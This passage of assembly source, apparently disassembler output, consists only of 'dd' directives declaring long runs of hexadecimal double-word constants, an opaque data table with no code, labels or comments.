		dd 2E5C87C5h, 0B6994715h, 56B8E3D0h, 0B82880B9h, 46F415h
		dd 8E132027h, 2D4E7B18h, 0FF704EFEh, 32CF99CDh,	0DB469778h
		dd 0BE61D719h, 4EAFEF9Dh, 5D616C9h, 1A69F410h, 2563D32Bh
		dd 42FB98FAh, 7AB86DACh, 56C61E5Eh, 7C8005B3h, 188EDB80h
		dd 0CA7BD3EAh, 5888AFF0h, 0D491B316h, 1DC02298h, 6AB8606Fh
		dd 3D7AEADEh, 2F09AC0Eh, 1E8AC8F5h, 788A2E70h, 0D83AB0D1h
		dd 617EE0AAh, 0DD0E417Bh, 0A7C610A6h, 0F535F1E9h, 58000019h
		dd 0EED4F118h, 806683B2h, 11F71443h, 0A086A3D6h, 161A3762h
		dd 7DA8E6CCh, 12397A60h, 0A5D00FF5h, 3568A288h,	0BC6A4B18h
		dd 132540FAh, 7BCDAB04h, 0A3863A1h, 83BDA340h, 0B30B2250h
		dd 35F2A043h, 6E1C31F6h, 0CD295894h, 69336190h,	5774EACCh
		dd 0EA42A133h, 87B6D77Ah, 96A6EF57h, 1FD976F8h,	19DB28FEh
		dd 0B2DD1BF5h, 8EBD3315h, 70AB64F8h, 0CF3F9783h, 85DC0B2Ch
		dd 0A6E896F0h, 288A6137h, 0A3A201B2h, 64E9A340h, 0EA809903h
		dd 0CCC18533h, 57CD8F88h, 9BBCC7F5h, 0CC8ACC7Ah, 9E148F88h
		dd 88CC286Eh, 0A340B68Fh, 0FFA2126Ah, 8EBCE725h, 4CFA27C4h
		dd 8573C745h, 0DAB457CDh, 6A506DA0h, 32B2AE30h,	8794D51Bh
		dd 95C3EA2Bh, 2F3869CBh, 34D2CECFh, 191A803Ch, 3D7D0000h
		dd 0D713F916h, 68A58BA8h, 0FB361C39h, 87C5ABC8h, 0A73B3F5Ch
		dd 85A2CD0Bh, 1A375E9Fh, 0ADCAF534h, 3D5A8DC7h,	9DE18F70h
		dd 21132541h, 88C2EAC8h, 0B8102755h, 0C6F7A548h, 81C3232h
		dd 0D32F5A98h, 6F396796h, 4CCF00Dh, 54F767BFh, 0DB0441A6h
		dd 0E8178D19h, 4E10BEDFh, 516C90Ch, 0C90C1757h,	0C9219716h
		dd 10FCB653h, 3638690h,	0EA983BABh, 0E1735465h,	2E4573E9h
		dd 15C366D6h, 0E499901Eh, 4978B424h, 0F42344E7h, 515CDEE9h
		dd 5214C2F6h, 5CEB8B25h, 1E784E6h, 917794C7h, 0F0F32457h
		dd 0FF723561h, 186E4B07h, 91D10000h, 2B674D6Ah,	0BCF9DFFCh
		dd 4F8A708Dh, 0DB19FF1Ch, 538F93B0h, 0E1FE2967h, 7693BAFBh
		dd 9265190h, 99B6E923h,	793DEBCCh, 85132541h, 88C24E2Ch
		dd 0BFED205Bh, 2D5C99F5h, 2E869DCBh, 0A06D1BBEh, 2E1C31F3h
		dd 46F415B8h, 13203D00h, 0D47B188Eh, 5EB615B0h,	92A4BEEh
		dd 203D1B5Bh, 0F533A313h, 70D29CCAh, 3BF419D3h,	0C43A19DBh
		dd 0EA02FF95h, 0D52D8A10h, 0F3A1C265h, 8501C4B3h, 0FB28C53Bh
		dd 0F928C84Dh, 0D191568Fh, 0B5DF207Eh, 0D6ED1B7Dh, 0BD6B0E7Eh
		dd 8A1312B6h, 0C9A346BCh, 593F5C8Fh, 0A6BBEC1Fh, 0A5DBAF66h
		dd 17BEF1ADh, 0E1210000h, 7BB79DBAh, 0C492F4Ch,	9FDAC0DDh
		dd 2B694F6Ch, 3DFE300h,	314E79B7h, 0C6E30A4Bh, 5976A1E0h
		dd 0E9063973h, 0C98D3B1Ch, 0D5132546h, 88C29E7Ch, 0B8102755h
		dd 0ABF7A548h, 0DB1C3565h, 0AEE8C265h, 4FCA8C3Ah, 5ED41325h
		dd 0D8B2DFFCh, 433709Dh, 7CAA0CD6h, 8B5B15B2h, 0C813254Fh
		dd 0B3B55499h, 52EFFF2Dh, 0AD50C219h, 2F6D96D3h, 0AA74A204h
		dd 1839660Dh, 230549F7h, 13891325h, 2523A3E3h, 59B52B13h
		dd 6C52EF1Ah, 0A9E2FF32h, 903EE151h, 19D95CD2h,	8FCF7D34h
		dd 0F16C976h, 0D032659Fh, 89AACB6Eh, 0C9769BDBh, 10AD2316h
		dd 0A2BFEE2Ah, 235180BCh, 0C1F2255Fh, 6F773452h, 0F9F1ADA5h
		dd 5C000016h, 0F2D8F51Ch, 846A87B6h, 15FB1847h,	0A48AA7DAh
		dd 1A1E3B66h, 89B4F2C8h, 1E45866Ch, 0B1DC1B01h,	4174AE94h
		dd 0C8765724h, 13254786h, 6FD1AF08h, 5604A717h,	1C35650Ch
		dd 8761047Ah, 0C4FD1A4Dh, 3758FB6Dh, 0B8560A08h, 56204E79h
		dd 0B1E3CBA5h, 27185A14h, 188E1325h, 277152EAh,	0E5861325h
		dd 0EE751B90h, 7D6B4523h, 31000000h, 0D3224C7Bh, 9E2BFC03h
		dd 0FF71C801h, 77ECAE5Ch, 709F16C9h, 42C4F01h, 795BF857h
		dd 0A9CAD503h
		dd 0BA94DA88h, 0A41A16C9h, 0C9BA3274h, 42F7BC16h, 8B5EF9A4h
		dd 833DDA3Ch, 16C977BFh, 9451FB8h, 6D083DDAh, 450CC1F0h
		dd 0CA4E88DBh, 5A824E2Dh, 259E40CFh, 64000000h,	0C91AD5EEh
		dd 1282DA16h, 3174C16Fh, 47A1C32h, 0CC924061h, 0D2132003h
		dd 4B0BB95Ch, 53132003h, 6B9940DDh, 4A7176Fh, 31FD5956h
		dd 416FE51Ch, 0EE215C36h, 4748A7C0h, 4FF52DE3h,	306A50EDh
		dd 0F598C703h, 20350747h, 0AF118713h, 3F72AC92h, 89CD7B9Ch
		dd 15132035h, 84EFC9Fh,	96132035h, 7CB8320h, 0AC709EC9h
		dd 4F134170h, 7FAAE912h, 811EEF1Dh, 0E104AAF4h,	0A3D61094h
		dd 3366A086h, 0F5226190h, 0C46875F1h, 0F4DECE0Fh, 0A542A46Bh
		dd 0E7ED6EDh, 0BBBCBD6Bh, 956F19DBh, 2FF9275Ah,	1D3AB092h
		dd 9CCAFD37h, 0FADA2104h, 0DF001BDEh, 6C9AC905h, 142C72A2h
		dd 3CB26EFFh, 990B6A9Fh, 0E20F2C5Fh, 145313C1h,	0E55B6EFFh
		dd 0F5286248h, 95C803C7h, 0F3148367h, 0FF140145h, 7A178D6Eh
		dd 0C2D3045h, 0FF14185Eh, 41EFA66Eh, 6EFF147Dh,	0CA90B81h
		dd 9CB9EC26h, 1B497CB6h, 993CAC04h, 426A6EBh, 0ADCA4064h
		dd 2C5A8DC7h, 0D2002768h, 0D0D4A1C4h, 60466396h, 4204B226h
		dd 486B1606h, 0E2ACDA0Dh, 84B2148Ah, 0B664156Dh, 6B1606F0h
		dd 832688FEh, 0ED1CA0D5h, 0B74A361h, 66D03A1Ah,	0CB4123C0h
		dd 0E60D4E28h, 0EF1D508Ah, 0FBE18825h, 0C8608EC1h, 7EFFCBFAh
		dd 6C9ACD08h, 0D3B6EA8h, 0CED69F3Ch, 0F3036590h, 99D3D1A4h
		dd 0CB377725h, 41B77EFFh, 9DDCC2DFh, 0CBC38331h, 8BC77EFFh
		dd 0C642E5Ch, 42063496h, 0E7ABD904h, 894D7BAAh,	75ED1B4Eh
		dd 0C74F4F26h, 58970D68h, 295B8A2Dh, 7AAF1C24h,	4329D06Dh
		dd 5C36D904h, 0FAC4F21Dh, 9330639Eh, 0A9DC17DBh, 4F76B77Bh
		dd 0F31E5D21h, 0B6AE1C5h, 0ABCAED93h, 0A3E391B2h, 2B7EFFA4h
		dd 1F4D80BBh, 5D97F355h, 68A78D2Ah, 19F3203Dh, 2B11AEDDh
		dd 8893C1ECh, 0A34073AEh, 0FFA2126Ah, 7434451h,	2654CA74h
		dd 0FAAACB42h, 8D7390BBh, 2EF22053h, 0FD1EC1F4h, 16890F4Fh
		dd 7C198F7Bh, 75D4C4h, 1A376AA4h, 1044953Bh, 558B2Dh, 0C2510000h
		dd 132A5883h, 981251BBh, 0DFCE187Fh, 0B91B7DFCh, 0CE013C16h
		dd 9E30431h, 3960A1CEh,	0B1DF410Bh, 20B6F8A6h, 0C23816C9h
		dd 0D409C360h, 0DA1C31CCh, 4317523h, 4DBD1320h,	0E8B2E013h
		dd 0DA072486h, 971F34ABh, 0A23F919Dh, 1CC4h, 0ED2B0500h
		dd 0C2F725C2h, 132A5883h, 0FAA84BBBh, 1C322AB5h, 0AAD514EEh
		dd 98B52B0Dh, 0E41846Ah, 9AC8F734h, 0A2FA33D0h,	3CE18F32h
		dd 821C321Ch, 9A48690Ch, 132014D4h, 0EC764DAh, 912D3678h
		dd 9909616Eh, 2419C7F6h, 672025F4h, 6A3CA0Bh, 8CAA2BD9h
		dd 3EB4ED6Bh, 31A1F910h, 48D1E08Eh, 0E359E881h,	44F01F40h
		dd 9DB6E921h, 276147E4h, 0B7F1D7F4h, 40D19543h,	67DDE793h
		dd 4673D405h, 0C8C07E1Dh, 133B0Ch, 375E9E00h, 0C9F8341Ah
		dd 5A89C6ACh, 0E91C573Dh, 7DA8E6CCh, 2C865C60h,	0C0A6C3EEh
		dd 553B587Fh, 0E8CEEB16h, 915E7BAEh, 7BBC02B0h,	0E9421325h
		dd 19A8EE0Bh, 87DF16C9h, 0C1C67417h, 4D1C3229h,	1B5A34D7h
		dd 0F9C9AAA1h, 0CC2EDE60h, 5F8AC9AFh, 91F72631h, 98C301ABh
		dd 0C3EFA06Ah, 361CB9F0h, 94DA88FCh, 1A132028h,	961142A4h
		dd 69698E6Eh, 12C6B571h, 0E9290000h, 83BFA5C2h,	14513754h
		dd 0A7E2C8E5h, 33715774h, 0FBE7EB08h, 395681BFh, 0CEEB1253h
		dd 617EA9E8h, 0F10E417Bh, 0D1954324h, 0DD13257Bh, 176FA684h
		dd 0ED2A04A7h, 29C690BEh, 28494EFCh, 5FD51C32h,	77A6E2BCh
		dd 0B5E27F49h, 53709FDBh, 5F02316Dh, 0EB194885h, 8CC8421h
		dd 5C2B5ACEh, 0A85EEFECh, 7E4A0C3Ch, 13501320h,	0B4168CE4h
		dd 4A2BA286h, 0D2EF1E5Ah, 0BE132CAEh, 1B571948h, 1D26BEECh
		dd 4613207Eh, 0C0FCA8CDh, 0DA14EE91h, 7D630AA7h, 0CDE41241h
		dd 0A0CF0B75h, 61ED9B3Eh, 0ED19DC00h, 0BFFAD477h, 0C4F3308Ch
		dd 22FCC96h, 9EBBEE28h,	1D4B7EB8h, 0DD17F112h, 82B27CAAh
		dd 16CC2B3Ch, 76AF4CC2h, 0FFBF6D1Eh, 0FF16CC2Bh, 0D6842789h
		dd 1C30548Fh, 0D9FA9D13h, 207E6B2Bh, 60FD7313h,	0EC1F5933h
		dd 7CAFE9CFh, 2EDF374Eh, 207E3E80h, 0E84AC013h,	781A9745h
		dd 960C19DBh, 77381865h, 732F276Fh, 11BCh, 9BB8DF1Fh, 2D4A79B5h
		dd 0BEDB0A47h, 4D6A9DD8h, 0E1FE2967h, 6FAD05DDh, 412744h
		dd 97D6BCD9h, 2F694F6Ch, 3112DFFCh, 2578C383h, 9472CB13h
		dd 0C91AA1EEh, 0BFEA2916h, 0A11169A2h, 656950FEh, 41B11C35h
		dd 9DA8D605h, 254FAFEFh, 57B92F13h, 3B7852F5h, 42A4D712h
		dd 7C9F725h, 19414FCBh,	1A5h, 4D11BFE0h, 51E9491Ah, 1375A4E1h
		dd 0AD4A7DB7h, 0AC5A7B7Fh, 16C91AEAh, 0A8E17EF4h, 5F39DC54h
		dd 5A96F225h, 7B608E2Bh, 0C91AF4CDh, 1A50916h, 173597Bh
		dd 0A5196F5Dh, 6FDAFA01h, 2701A41Ah, 5786C2EBh,	0C403C7F5h
		dd 6C9A3799h, 0FF0E4C7Bh, 94853DFh, 0F8F6B866h,	82F816C9h
		dd 0C9222CE5h, 43CFCB17h, 0DF04431Dh, 7F49779Eh, 0C925EF1Dh
		dd 9EBF5C8Fh, 59h, 0AC5A7B64h, 16C91AEAh, 194884F4h, 22BF21EBh
		dd 7C1F93E9h, 3FB8E84Dh, 0EE4ADC50h, 885280B3h,	0CD7BBDEBh
		dd 16C91AF4h, 7BF89C12h, 0CB8B395Ah, 0D316C91Ah, 0C292C05Dh
		dd 9DB25685h, 0F3225E38h, 305EFBC5h, 55CAh, 3CEA0B00h
		dd 16C91A7Ah, 0ABD61484h, 0B451B37Dh, 67A17B86h, 7724A0E5h
		dd 0EC4ECD4Ch, 4CC0164Fh, 0F4CD7BA8h, 916C91Ah,	0EB2802A5h
		dd 27C48EBCh, 63A17BF9h, 0A2D0033Eh, 0ACD976D8h, 4970B18Bh
		dd 86B4511Bh, 0B25685C2h, 3467A17Bh, 0D8034206h, 0E17EE0AAh
		dd 17C970D6h, 2943CFCBh, 52h, 0ADD816F0h, 1A6FE210h, 15D201A4h
		dd 916DE418h, 7B44720Fh, 0CB8B395Ah, 0D316C91Ah, 3D06C05Dh
		dd 4916C91Ah, 4C7B2FD3h, 0CBECA619h, 0DF0CA9F2h, 5786C2BDh
		dd 7B379DB3h, 0F73C434Ch, 97618FB6h, 0A3948AE6h, 2593F900h
		dd 0E885E71Bh, 270Ah, 1A6F4A00h, 0CD7B00A4h, 16C91AF4h
		dd 2802A509h, 0C58FBDECh, 5A7BFA28h, 0E21D4280h, 551F4DAFh
		dd 86C28AB8h, 379DB357h, 0FFFE59CAh, 0F0310BFFh, 34D19BC9h
		dd 0A7176F06h, 650C5604h, 47A1C35h, 1A4D8761h, 0AC6DC4FDh
		dd 7CFDE7Eh, 424AE69Dh,	0F006DE3h, 0FAA84BADh, 13258CB4h
		dd 0FE96C43Ah, 13258CBEh, 0CAE19435h, 45234506h, 281Ah
		dd 0D4EEE000h, 2E16C91Ah, 0EAA4C1F4h, 16C91AD9h, 6B0E7ED6h
		dd 3200C0BDh, 0E6490E1Ch, 1A3C4514h, 0FDDBF85Ah, 0F9h
		dd 66176F3Dh, 0C91AF6B8h, 4E88F816h, 0C123ED1Bh, 0F10EBC5Fh
		dd 0F21C322Ch, 7EACDB18h, 0C53517B4h, 0C3FE5A89h, 36986290h
		dd 4F7AB993h, 0E885B8F3h, 86C09ABBh, 8EF01B59h,	0A7CC0BF1h
		dd 0BFDC3E69h, 416F9AD9h, 0F21D5C36h, 54C41C55h, 7AB690B1h
		dd 0B4FAA84Bh, 3A132004h, 0F96D27C4h, 8519DC7Ah, 53926C0Fh
		dd 0E6250B28h, 1E768DBBh, 0C9EA0BAEh, 0F5D4949Ah, 0A3D3DFB5h
		dd 16CC42E3h, 167EA792h, 0B20A9042h, 90E59F3Ch,	0DE1C307Fh
		dd 0CAA4C568h, 67315F8Eh, 575016C4h, 0E85E1320h, 0FE2B654Bh
		dd 9E6896BDh, 0CA78993Ch, 13205784h, 50F7940Ah,	0C903306Ah
		dd 1F8CCC47h, 0D1332069h, 0B7F73E6Fh, 8078698Dh, 0E87C4h
		dd 83AAEA00h, 15448066h, 0A6D512F8h, 3568A389h,	0C9F43218h
		dd 803AA8ACh, 14FA1742h
		dd 0A98FACD3h, 3C223F6Ah, 0E5B2CF02h, 7F105604h, 459E1325h
		dd 5588C267h, 0A7296327h, 0A7E1F04Ah, 0D33376FFh, 925AA859h
		dd 0EEB2E042h, 905482B1h, 0C0EB2A53h, 69B8305Eh, 0AB0A920Ch
		dd 6DA0DACAh, 83B6F0CAh, 90BEE927h, 0A38229C6h,	40CFB7FDh
		dd 50F3h, 176FB900h, 0D15604A7h, 5D1C31F6h, 0BBF5B9E7h
		dd 16C4E588h, 13203950h, 94EC1F5Ah, 0F4DA811Eh,	254C8DBAh
		dd 28CB2DF7h, 48E5104Eh, 0B1217990h, 0FA7600Eh,	7B9C19DBh
		dd 0C92789CDh, 29F1516h, 2D07AA20h, 93D381F1h, 1B16C927h
		dd 0FFA643A5h, 5786C2D1h, 0E918543Ah, 1A6823BBh, 2F6E16C9h
		dd 56AEE704h, 0A19543E6h, 0ED1C3565h, 0BDFAD477h, 0C943718Eh
		dd 414FCB07h, 14B19h, 1B6FDF00h, 0CD7BFFA3h, 16C91AF4h
		dd 2802A509h, 0F523C0E7h, 5A7B597Bh, 0C91AEAACh, 0E17EF416h
		dd 6F96C8ACh, 0F0B66419h, 0FE16C91Ah, 0A9832688h, 430D3B6Eh
		dd 0DAFA78A6h, 0A41A6Fh, 17C9E5EFh, 2943CFCBh, 3Ah, 0A5196FEFh
		dd 62A17B01h, 0BF6D9A37h, 16C91A82h, 7BEA8E04h,	73564A1h
		dd 5273A03Dh, 710E3978h, 5685C243h, 0CA379DB2h,	5Ah, 7A3CEA0Bh
		dd 8016C91Ah, 46BC1443h, 0A17B7BA9h, 5E973467h,	3B795308h
		dd 1A9EE010h, 0AA2016C9h, 82E40F4Eh, 0F4CD7BDEh, 916C91Ah
		dd 0A17B01A5h, 648F662h, 8816C91Ah, 1854B012h, 0FE1F4CE9h
		dd 8BB9E824h, 0C2F624C1h, 0F31E5C85h, 96C501C5h, 0E03C9E68h
		dd 6E1274A3h, 17C9379Dh, 2943CFCBh, 26h, 0A41A6FEFh, 395A7B00h
		dd 0C91ACB8Bh, 0C05DD316h, 0C91A3D06h, 2FD34916h, 86C2597Bh
		dd 379DB357h, 44CAh, 1A6F0A00h,	0A17B00A4h, 44083665h
		dd 0DEA8D609h, 0F0A2CB7Ch, 858EE781h, 340DBBE8h, 4916C910h
		dd 5A7B41E5h, 1ACB8B39h, 5DD316C9h, 86C292C0h, 1A266816h
		dd 32A816C9h, 389D2CD0h, 0D8DA8909h, 5BF81C54h,	64A17B2Dh
		dd 0ACBA9835h, 0FAFFFFFEh, 4A7176Fh, 35650C56h,	61047A1Ch
		dd 2D711F40h, 0B113254Fh, 7EB89E3Bh, 91CEA84Bh,	4EDEFF13h
		dd 96F8E940h, 3669A468h, 3FDC3E08h, 96085F98h, 5C0145F3h
		dd 178D1325h, 5C0B51E9h, 4F8B1325h, 5C6D31DFh, 0FB711325h
		dd 6AA76B99h, 61EFCCECh, 4CAE97D0h, 0B2C33A1Eh,	91E485ECh
		dd 23F2761Ah, 49845E45h, 811EE816h, 1860h, 0A17B2600h
		dd 0E19B3863h, 16C91AE1h, 79BAE721h, 0F5D3F052h, 0C7h
		dd 0A7176F35h, 2C3D5604h, 441E1C32h, 0DFA9D70Ah, 47EA6042h
		dd 60032E6Dh, 8D003E31h, 18B58907h, 0D3154471h,	3A2F2A11h
		dd 0B4A30CDh, 1C7EA5E6h, 0F7FD7EEh, 22613D6Ch, 0E3A5B9E8h
		dd 0FF6B1946h, 7719DCBAh, 45845E01h, 0F6D0FD1Ah, 4F5A88BBh
		dd 0CC91DDA1h, 96BE116h, 17456CADh, 8BCAB04Dh, 0C31B3260h
		dd 6E8FB053h, 0CC91FEC0h, 16CA716h, 0C0F7DABFh,	9B55F268h
		dd 1C3026EAh, 411BBE34h, 8AB7D407h, 0AA4772B0h,	26578AC4h
		dd 698E8CCDh, 35BE7A72h, 9800000Bh, 2E143158h, 0C0A6C3F2h
		dd 51375483h, 0E0C6E316h, 565A77A2h, 0BDE8268Ch, 5279BAA0h
		dd 0E5104F35h, 75A8E2C8h, 0FCAA8B58h, 132573BAh, 0C20DEB44h
		dd 63275588h, 0D8C8F629h, 6EA8FC79h, 0ABD90041h, 83627FE1h
		dd 40CFD3DDh, 52D3h, 176F9900h,	9E304A7h, 566F9DCCh, 4F8741B6h
		dd 0EE8BEDB2h, 32660734h, 0ABD94F1Ch, 0D77AADE7h, 0E495BCFDh
		dd 3472E4A3h, 10B754EAh, 8FBDF02Ah, 0DB02078h, 0DB01325Fh
		dd 5BFE7419h, 376A842Ch, 0C9DCC589h, 0A253C916h, 0B8147874h
		dd 541E4C7Bh, 0C2E210B7h, 85B45786h, 0A1607E09h, 0B75EFBBFh
		dd 0C9E2B0FDh, 0D0FB3A16h, 0B2227AB3h, 9D62610Fh, 835D1C35h
		dd 0E51EC749h, 71910BEDh, 7A17E10Fh, 0A57F2298h, 0EE1C3968h
		dd 4FCB07C9h, 13F1941h,	6FDF0000h, 7BFFA31Bh, 0C91AF4CDh
		dd 2A50916h, 1A7333E1h,	57B16C9h, 5A7B3A68h, 1ACB8B39h
		dd 5DD316C9h, 17392C0h,	0A5196F5Dh, 0BDEC2802h,	0DAFAF220h
		dd 3467A17Bh, 46FEED06h, 0C1C6E4Dh, 7FD40DAAh, 0E5EF6509h
		dd 0CFCB17C9h, 372943h,	6FEF0000h, 0A5AA5619h, 4D56FEA3h
		dd 0EB9C7BFEh, 55B16AC3h, 0E68AEC17h, 1AF4CD7Bh, 9C1216C9h
		dd 65A17BF8h, 9440836h,	0AAD774D6h, 5685C288h, 0CA379DB2h
		dd 3Eh,	0A5196F0Ah, 0F4CD7B01h,	0C716C91Ah, 0E582B1EDh
		dd 19F396FAh, 0E10FACDFh, 85C2597Bh, 5984B356h,	0AC6BACB2h
		dd 78A6D10Fh, 0FBA94CAEh, 16C97CBBh, 230CD43h, 215E389Dh
		dd 2B8DBCF8h, 17C9608Eh, 2943CFCBh, 43h, 0ADD816F0h, 0EA18B57Fh
		dd 0A41A6Fh, 1AF4CD7Bh,	9C1216C9h, 67A17BF8h, 496A9734h
		dd 0D503326Fh, 0F4BA680Bh, 0FA16C91Ah, 7BB9E784h, 0BD15684Ch
		dd 93EF9229h, 0A88E2B52h, 9D993D6Ch, 29CA37h, 6F0A0000h
		dd 7B00A41Ah, 0C91AF4CDh, 0ACEDC716h, 0F08D5785h, 24FEA105h
		dd 0F11FBCE3h, 86C2597Bh, 389DB357h, 0C4F2215Eh, 0CA2F5DFAh
		dd 0FFFFFEB8h, 0AC5A7B0Ah, 16C91AEAh, 2C84B3F0h, 88E019B6h
		dd 9BC77518h, 0EB1C3565h, 82B1D275h, 708DDB9h, 2208A522h
		dd 4F7EBBE8h, 0D8F55721h, 33D6489Fh, 343F112h, 8B13259Ch
		dd 6DEB6415h, 6033B03Ah, 674509C3h, 0D9491325h,	0DC0A6C9Fh
		dd 25670444h, 97DE7F13h, 23AE4C14h, 106445h, 0EE2A0000h
		dd 16C91AD4h, 0A4C1F42Eh, 0CEC6h, 176F0600h, 1AF6B866h
		dd 88F816C9h, 5DB91B4Eh, 0EB8EF023h, 3232383Dh,	97D6461Ch
		dd 8D670A6Ch, 27F11F52h, 623C5D8Ah, 0CAF823h, 133E7D63h
		dd 0A6D110F6h, 57936D78h, 9330FA28h, 0EF92025Ah, 0DC7CA541h
		dd 0FA39A919h, 0FC6F5180h, 53B561E7h, 56F95B25h, 0F5123D7Ch
		dd 0CC9999C8h, 0E20DBAE8h, 0F5205F45h, 0ED9BBCC7h, 16CCDCA9h
		dd 8ED07E35h, 1016CCDCh, 629B389Ah, 49F79A0Ah, 1C30A034h
		dd 3261047Ah, 4831B32h,	0DC09A694h, 7895C802h, 0F4255892h
		dd 698E51A1h, 0DFAB6AEh, 70000008h, 6EC0930h, 987E9BCAh
		dd 290F2C5Bh, 0B89EBBEEh, 2E324F7Ah, 95C0FEB4h,	2A519278h
		dd 0BDE8270Dh, 4D80BAA0h, 0D4826330h, 13257692h, 7BE5C31Ch
		dd 29D8C44Ch, 5FBB7FDDh, 0FBC5F322h, 0CA3E785Eh, 0C9A35A1Ch
		dd 0DD320B16h, 8744A91h, 0A3DE3AB0h, 16784270h,	0B7EA24E8h
		dd 3B3A9989h, 0DFFC2F69h, 0CF655000h, 296A4440h, 3D446502h
		dd 0A000000h, 6CAD176Fh, 0CFE1745h, 0ACA53DAFh,	0CAF1173h
		dd 32741D5Eh, 39744E1Ch, 9C05506h, 0FB481137h, 0D8067C5Eh
		dd 20950240h, 0A1D47513h, 2658460Ah, 37744E45h,	2E4A6B08h
		dd 10000000h, 4A7176Fh,	31F94156h, 2957CD1Ch, 55F82B65h
		dd 74113C7Bh, 7AADE7CDh, 6DDD354Ch, 131B1CCAh, 0FED819DBh
		dd 9C6694BFh, 8AA71DFFh, 123D845Ch, 1A0343F1h, 158B16C9h
		dd 77E73F78h, 1CC126D4h, 970D1C32h, 6125D3F4h, 14132014h
		dd 3B922623h, 0B81D955h, 0B81FB56Eh, 0AB535283h, 9240E353h
		dd 0D9AE5F0Dh, 566D9B11h, 3DEB8EFEh, 0DC449B36h, 0B9F6D0F1h
		dd 62925C8Ah, 0D356A91Ch, 0AD8F2CA2h, 80BA9437h, 83E51853h
		dd 13468066h, 0D7EE3DE2h, 0D6928AA9h, 6C8h, 0A7C4EB2Bh
		dd 395685C1h, 0CAE71653h, 5976A9E4h, 0ED0A3573h, 83C1F9E9h
		dd 14553B58h, 0ABEAD0EDh, 437D6380h, 4526F310h,	2577D797h
		dd 0A07ED713h, 3DCD4C7Bh, 0C0E11C20h, 8F033D23h, 0C95C9DE1h
		dd 70B12116h, 0EF511B49h, 7A545F8Dh, 19E3113Ch,	2A59967Ch
		dd 0BD7CD40Dh, 5D464387h
		dd 0F699FBA6h, 3585DE48h, 47EA601Ch, 0A3E72A18h, 0DA779995h
		dd 0F2215E22h, 8B4E02C1h, 0C17D7569h, 648h, 27446BABh
		dd 0B9D60541h, 4A6796D3h, 0D9F62964h, 6D8AB5F3h, 3417969h
		dd 94D5BBD8h, 2B6A506Dh, 0C3FDE300h, 0C5A67390h, 25745717h
		dd 20FE5713h, 0EAAC5A7Bh, 0F416C91Ah, 50A8E17Eh, 26633DE0h
		dd 3092C1FDh, 22B86693h, 0E91C3564h, 7A4D30Fh, 0FB4D6025h
		dd 0CB19D1C0h, 3A773B69h, 90033DBCh, 7CDE233Eh,	8AAC9A4Bh
		dd 4501F969h, 5D8h, 0B7D4FB3Bh,	496695D1h, 0DAF72663h
		dd 6986B9F4h, 0FD1A4583h, 93D1E9F9h, 24654B68h,	0BBFAE0FDh
		dd 538D7390h, 55360320h, 2574E7A7h, 0B08EE713h,	4A7176Fh
		dd 0EBFEE2Ah, 0DE48F8E1h, 0B4E17EC3h, 35399006h, 0EF2E9E1Ch
		dd 6ACC96C4h, 80B3EDC7h, 2A672BE3h, 993FCAFBh, 9890698Bh
		dd 577DCh, 739ADA00h, 5347056h,	96C502E8h, 25589379h, 0B9E42208h
		dd 704A989Ch, 4EA0732h,	997F9CC3h, 2C122F5Ah, 0D5A2BFF2h
		dd 740046F4h, 358E1325h, 5588C257h, 0F6296327h,	6C8B2453h
		dd 906CC01Ah, 122D3BF3h, 33D0F738h, 0F32D77FEh,	83BDA3C0h
		dd 0B98A2250h, 0AA16C9B0h, 246A1839h, 0AA16C9B0h, 6F9AD834h
		dd 0CCD89DD2h, 9425F92h, 900647B1h, 7BF416Eh, 85B3151Ch
		dd 8B659BBh, 1C35B88Eh,	9D771A90h, 2D133063h, 7B92C0F3h
		dd 82C47223h, 0C132593h, 0E3913496h, 19D9ECBCh,	532DD046h
		dd 0F9959719h, 0D0AAACE8h, 316B516Eh, 3799C804h, 2A9AF209h
		dd 1958D987h, 0A9831C32h, 430D3B6Eh, 0D3FFC4A6h, 0D26B7A83h
		dd 96C4F32Fh, 0D30E6ACCh, 700D3EA0h, 0DF698E7Eh, 49A2BE7h
		dd 0BDFD0000h, 57937996h, 0E8250B28h, 7BB69CB9h, 7452B48h
		dd 27BBBFDCh, 5224D8Bh,	9AB7DE1Fh, 2D4A75B4h, 0BDDA0D47h
		dd 1D610FF0h, 0A1132575h, 88C26A48h, 29632755h,	48A0D9F6h
		dd 48769DDEh, 0CB791C7Eh, 1C322342h, 3F66A781h,	0C8AA4711h
		dd 0E08EAF52h, 13200C9Eh, 550DAA20h, 3B7B294Ah,	0C313200Ch
		dd 87E91453h, 0C7036E4h, 87E1320h, 0C91B16Bh, 45E61320h
		dd 0C5D57B30h, 4BCB4526h, 91000000h, 0E0134C7Bh, 0AFDD0847h
		dd 518534E5h, 59B1EA87h, 8B9846E9h, 0FB1C32B2h,	83BF5785h
		dd 0FF132090h, 0A06492C5h, 36073564h, 8DC8DC99h, 0F091F85Ah
		dd 5D7A2685h, 0D764526h, 3D000001h, 0C8F62963h,	2D2A9EAFh
		dd 55B702C1h, 88C28AB8h, 421C2755h, 0A5E99703h,	2916C91Ah
		dd 0CEB451B3h, 2C376590h, 4AE71652h, 0C9F72A64h, 84C39DBEh
		dd 1A652959h, 0F36916C9h, 1C3BCD42h, 8A5EBF7h, 98B5E822h
		dd 0C9585BDEh, 0A8659416h, 0CD057F85h, 0DA14FA97h, 5BD504A7h
		dd 0BEA6B27Eh, 0E2377725h, 41B716C9h, 0B59B42DFh, 31A487Bh
		dd 0BE983BABh, 0E275580h, 35083CA1h, 0D875D790h, 6FB08AABh
		dd 0B3501A48h, 32805CF9h, 0F832A21Ch, 2B7E97C5h, 8986222Ah
		dd 0FFA20466h, 4F0FBDDEh, 4F1320DDh, 0DDE5A9D9h, 73E91320h
		dd 9EF62FD6h, 9ECCF334h, 21CF72D4h, 19C65636h, 9ED10C7Ch
		dd 0A144A670h, 415E89C7h, 0C1F21D5Bh, 6F75232Ah, 9E9A59Dh
		dd 6C000003h, 2E8052Ch,	947A97C6h, 250B2857h, 0B49AB7EAh
		dd 2A2E4B76h, 99C402B8h, 2E55967Ch, 0C1EC2B11h,	5184BEA4h
		dd 0D8866734h, 13256B96h, 0C2E1BF18h, 563C5984h, 9ECCE91Ch
		dd 4A7176Fh, 32294D56h,	1543B91Ch, 7B3BE90Ah, 8313200Bh
		dd 8CB6700Dh, 0F613200Bh, 0D49A48BCh, 0DA13200Bh, 10D40264h
		dd 0B175A3D6h, 501A4873h, 1A84F140h, 0FA6312B3h, 1BB8DF20h
		dd 26C6943Ch, 0CF8C45h,	0C2520000h, 1C275588h, 0BB8F6CEDh
		dd 5DFA7718h, 0E00E3977h, 0C9D4C548h, 0DC0F4916h, 729FD9BFh
